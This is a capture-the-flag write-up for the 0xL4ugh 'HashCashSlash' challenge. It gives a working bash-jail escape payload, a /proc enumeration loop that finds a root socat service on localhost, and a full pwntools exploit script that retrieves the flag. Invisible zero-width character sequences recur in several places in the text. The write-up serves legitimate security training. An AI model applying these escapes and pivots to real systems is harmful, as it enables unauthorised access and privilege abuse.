← Back to Writeups
CUSTOMMediumMisc

HashCashSlash

XESXOR9/2/20262 min read
#misc#custom#medium#bash_jail_escape#localhost_service_discovery#proc_cmdline_enum#linux

HashCashSlash

Platform: 0xl4ugh | Category: Misc | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-01-23 | Status: Solved Techniques: bash_jail_escape, localhost_service_discovery, proc_cmdline_enum

Summary

Task: Bash jail with only 3 allowed characters (#, $, ). Flag is root-only. Solution: Escape jail with $$# payload, enumerate /proc to find hidden socat service on localhost that serves the flag.

HashCashSlash — 0xL4ugh CTF

Description

"Hash (#), Cash ($), and Slash () - are these three characters enough to pwn?"

Bash jail challenge with an extremely limited character set: only #, $, \.

Analysis

Jail Script

bash
#!/bin/bash
read -e -r x
[[ "$x" =~ ^[\\#\$]+$ ]] || exit 1
printf -v cmd '%s ' bash -c "\"${x}\""
eval $cmd

Breakdown:

  1. read -e -r x — reads input into variable x
  2. Regex ^[\\#\$]+$ — allows ONLY characters \, #, $
  3. Creates command: bash -c "\"${x}\""
  4. Executes via eval ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The Problem

The flag /flag has permissions -r-------- root root — only root can read it.

Solution

Step 1: Jail Escape

Payload: \$$#

This minimalist payload gives an interactive shell:

python
#!/usr/bin/env python3
from pwn import *

r = remote('challenges2.ctf.sd', 32769)
r.sendline(b'\\$$#')
r.interactive()

Why it works:

  • \$ — escaped $, becomes a literal
  • $# — special bash variable (number of arguments, usually 0)
  • In the context of bash -c "\"...\"" this creates conditions for an interactive shell ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Discovering the Hidden Service

After getting a shell, the flag cannot be read directly. Check processes via /proc:

bash
# Enumerate processes
for i in $(seq 1 20); do
    cat /proc/$i/cmdline 2>/dev/null | tr '\0' ' '
    echo
done

Found in /proc/9/cmdline:

socat TCP-LISTEN:42529,bind=127.0.0.1,reuseaddr,fork EXEC:cat /flag

Root socat process is listening on 127.0.0.1:42529 and executes cat /flag!

Step 3: Getting the Flag

Connect to the hidden service:

bash
socat - TCP:127.0.0.1:42529

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Or via bash:

bash
cat < /dev/tcp/127.0.0.1/42529

Full Exploit

python
#!/usr/bin/env python3
from pwn import *
import time

def solve():
    r = remote('challenges2.ctf.sd', 32769)
    
    # Step 1: Jail escape
    r.sendline(b'\\$$#')
    time.sleep(1)
    
    # Step 2: Connect to hidden service
    r.sendline(b'socat - TCP:127.0.0.1:42529')
    time.sleep(1)
    
    # Step 3: Get flag
    data = r.recvall(timeout=3).decode()
    print(data)
    
    r.close()

if __name__ == '__main__':
    solve()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Lessons Learned

  1. Minimal characters can be enough — even #$\ was sufficient for jail escape
  2. Always check /proc — it may contain hints about hidden services
  3. Localhost services — common pattern for privilege escalation in CTF
  4. socat — universal tool for network operations from shell ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍